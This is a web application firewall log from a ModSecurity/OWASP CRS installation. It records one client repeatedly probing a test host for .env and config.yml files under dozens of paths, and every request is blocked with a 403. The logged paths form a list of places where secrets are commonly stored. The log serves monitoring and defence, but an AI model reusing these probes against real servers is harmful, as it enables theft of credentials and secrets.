[Thu Feb 26 01:02:58.538879 2026] [:error] [pid 2330812] [client 185.177.72.22:24032] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/client/mutual-fund-app/.env&quot;] [unique_id &quot;aZ-Nsik1SHHL9bIjTI-PgQAAAAU&quot;]
[Thu Feb 26 01:02:58.539022 2026] [:error] [pid 2330812] [client 185.177.72.22:24032] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/client/mutual-fund-app/.env&quot;] [unique_id &quot;aZ-Nsik1SHHL9bIjTI-PgQAAAAU&quot;]
[Thu Feb 26 01:02:58.561065 2026] [:error] [pid 2330812] [client 185.177.72.22:24032] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /client/src/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/client/src/.env&quot;] [unique_id &quot;aZ-Nsik1SHHL9bIjTI-PggAAAAU&quot;]
[Thu Feb 26 01:02:58.561287 2026] [:error] [pid 2330812] [client 185.177.72.22:24032] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/client/src/.env&quot;] [unique_id &quot;aZ-Nsik1SHHL9bIjTI-PggAAAAU&quot;]
[Thu Feb 26 01:02:58.561459 2026] [:error] [pid 2330812] [client 185.177.72.22:24032] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/client/src/.env&quot;] [unique_id &quot;aZ-Nsik1SHHL9bIjTI-PggAAAAU&quot;]
[Thu Feb 26 01:02:58.595573 2026] [:error] [pid 2330812] [client 185.177.72.22:24032] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /clientapp/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ClientApp/.env&quot;] [unique_id &quot;aZ-Nsik1SHHL9bIjTI-PgwAAAAU&quot;]
[Thu Feb 26 01:02:58.595796 2026] [:error] [pid 2330812] [client 185.177.72.22:24032] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ClientApp/.env&quot;] [unique_id &quot;aZ-Nsik1SHHL9bIjTI-PgwAAAAU&quot;]
[Thu Feb 26 01:02:58.595946 2026] [:error] [pid 2330812] [client 185.177.72.22:24032] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ClientApp/.env&quot;] [unique_id &quot;aZ-Nsik1SHHL9bIjTI-PgwAAAAU&quot;]
[Thu Feb 26 01:02:58.604371 2026] [:error] [pid 2330791] [client 185.177.72.22:24028] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /config/.env.dev&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.env.dev&quot;] [unique_id &quot;aZ-Nsg3HqGC30X9HPoEkoQAAAAM&quot;]
[Thu Feb 26 01:02:58.604702 2026] [:error] [pid 2330791] [client 185.177.72.22:24028] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.env.dev&quot;] [unique_id &quot;aZ-Nsg3HqGC30X9HPoEkoQAAAAM&quot;]
[Thu Feb 26 01:02:58.604895 2026] [:error] [pid 2330791] [client 185.177.72.22:24028] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.env.dev&quot;] [unique_id &quot;aZ-Nsg3HqGC30X9HPoEkoQAAAAM&quot;]
[Thu Feb 26 01:02:58.636625 2026] [:error] [pid 2330812] [client 185.177.72.22:24032] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /clld_dir/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/clld_dir/.env&quot;] [unique_id &quot;aZ-Nsik1SHHL9bIjTI-PhAAAAAU&quot;]
[Thu Feb 26 01:02:58.636827 2026] [:error] [pid 2330812] [client 185.177.72.22:24032] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/clld_dir/.env&quot;] [unique_id &quot;aZ-Nsik1SHHL9bIjTI-PhAAAAAU&quot;]
[Thu Feb 26 01:02:58.636978 2026] [:error] [pid 2330812] [client 185.177.72.22:24032] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/clld_dir/.env&quot;] [unique_id &quot;aZ-Nsik1SHHL9bIjTI-PhAAAAAU&quot;]
[Thu Feb 26 01:02:58.679887 2026] [:error] [pid 2330812] [client 185.177.72.22:24032] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /cloud/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/cloud/.env&quot;] [unique_id &quot;aZ-Nsik1SHHL9bIjTI-PhQAAAAU&quot;]
[Thu Feb 26 01:02:58.680127 2026] [:error] [pid 2330812] [client 185.177.72.22:24032] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/cloud/.env&quot;] [unique_id &quot;aZ-Nsik1SHHL9bIjTI-PhQAAAAU&quot;]
[Thu Feb 26 01:02:58.680290 2026] [:error] [pid 2330812] [client 185.177.72.22:24032] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/cloud/.env&quot;] [unique_id &quot;aZ-Nsik1SHHL9bIjTI-PhQAAAAU&quot;]
[Thu Feb 26 01:02:58.688730 2026] [:error] [pid 2330791] [client 185.177.72.22:24028] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /config/.env.local&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.env.local&quot;] [unique_id &quot;aZ-Nsg3HqGC30X9HPoEkogAAAAM&quot;]
[Thu Feb 26 01:02:58.688962 2026] [:error] [pid 2330791] [client 185.177.72.22:24028] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.env.local&quot;] [unique_id &quot;aZ-Nsg3HqGC30X9HPoEkogAAAAM&quot;]
[Thu Feb 26 01:02:58.689148 2026] [:error] [pid 2330791] [client 185.177.72.22:24028] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.env.local&quot;] [unique_id &quot;aZ-Nsg3HqGC30X9HPoEkogAAAAM&quot;]
[Thu Feb 26 01:02:58.721243 2026] [:error] [pid 2330791] [client 185.177.72.22:24028] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /config/.env.production&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.env.production&quot;] [unique_id &quot;aZ-Nsg3HqGC30X9HPoEkowAAAAM&quot;]
[Thu Feb 26 01:02:58.721486 2026] [:error] [pid 2330791] [client 185.177.72.22:24028] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.env.production&quot;] [unique_id &quot;aZ-Nsg3HqGC30X9HPoEkowAAAAM&quot;]
[Thu Feb 26 01:02:58.721638 2026] [:error] [pid 2330791] [client 185.177.72.22:24028] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.env.production&quot;] [unique_id &quot;aZ-Nsg3HqGC30X9HPoEkowAAAAM&quot;]
[Thu Feb 26 01:02:58.744062 2026] [:error] [pid 2330812] [client 185.177.72.22:24032] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /cmd/testdata/expected/dot_env/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/cmd/testdata/expected/dot_env/.env&quot;] [unique_id &quot;aZ-Nsik1SHHL9bIjTI-PhgAAAAU&quot;]
[Thu Feb 26 01:02:58.744309 2026] [:error] [pid 2330812] [client 185.177.72.22:24032] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/cmd/testdata/expected/dot_env/.env&quot;] [unique_id &quot;aZ-Nsik1SHHL9bIjTI-PhgAAAAU&quot;]
[Thu Feb 26 01:02:58.744475 2026] [:error] [pid 2330812] [client 185.177.72.22:24032] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/cmd/testdata/expected/dot_env/.env&quot;] [unique_id &quot;aZ-Nsik1SHHL9bIjTI-PhgAAAAU&quot;]
[Thu Feb 26 01:02:58.778288 2026] [:error] [pid 2330812] [client 185.177.72.22:24032] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /code/api/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/code/api/.env&quot;] [unique_id &quot;aZ-Nsik1SHHL9bIjTI-PhwAAAAU&quot;]
[Thu Feb 26 01:02:58.778529 2026] [:error] [pid 2330812] [client 185.177.72.22:24032] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/code/api/.env&quot;] [unique_id &quot;aZ-Nsik1SHHL9bIjTI-PhwAAAAU&quot;]
[Thu Feb 26 01:02:58.778678 2026] [:error] [pid 2330812] [client 185.177.72.22:24032] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/code/api/.env&quot;] [unique_id &quot;aZ-Nsik1SHHL9bIjTI-PhwAAAAU&quot;]
[Thu Feb 26 01:02:58.827672 2026] [:error] [pid 2330812] [client 185.177.72.22:24032] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /code/web/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/code/web/.env&quot;] [unique_id &quot;aZ-Nsik1SHHL9bIjTI-PiAAAAAU&quot;]
[Thu Feb 26 01:02:58.827893 2026] [:error] [pid 2330812] [client 185.177.72.22:24032] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/code/web/.env&quot;] [unique_id &quot;aZ-Nsik1SHHL9bIjTI-PiAAAAAU&quot;]
[Thu Feb 26 01:02:58.828038 2026] [:error] [pid 2330812] [client 185.177.72.22:24032] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/code/web/.env&quot;] [unique_id &quot;aZ-Nsik1SHHL9bIjTI-PiAAAAAU&quot;]
[Thu Feb 26 01:02:58.855234 2026] [:error] [pid 2330791] [client 185.177.72.22:24028] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/config/config.yml&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /config/config.yml found within REQUEST_FILENAME: /config/config.yml&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/config.yml&quot;] [unique_id &quot;aZ-Nsg3HqGC30X9HPoEkpwAAAAM&quot;]
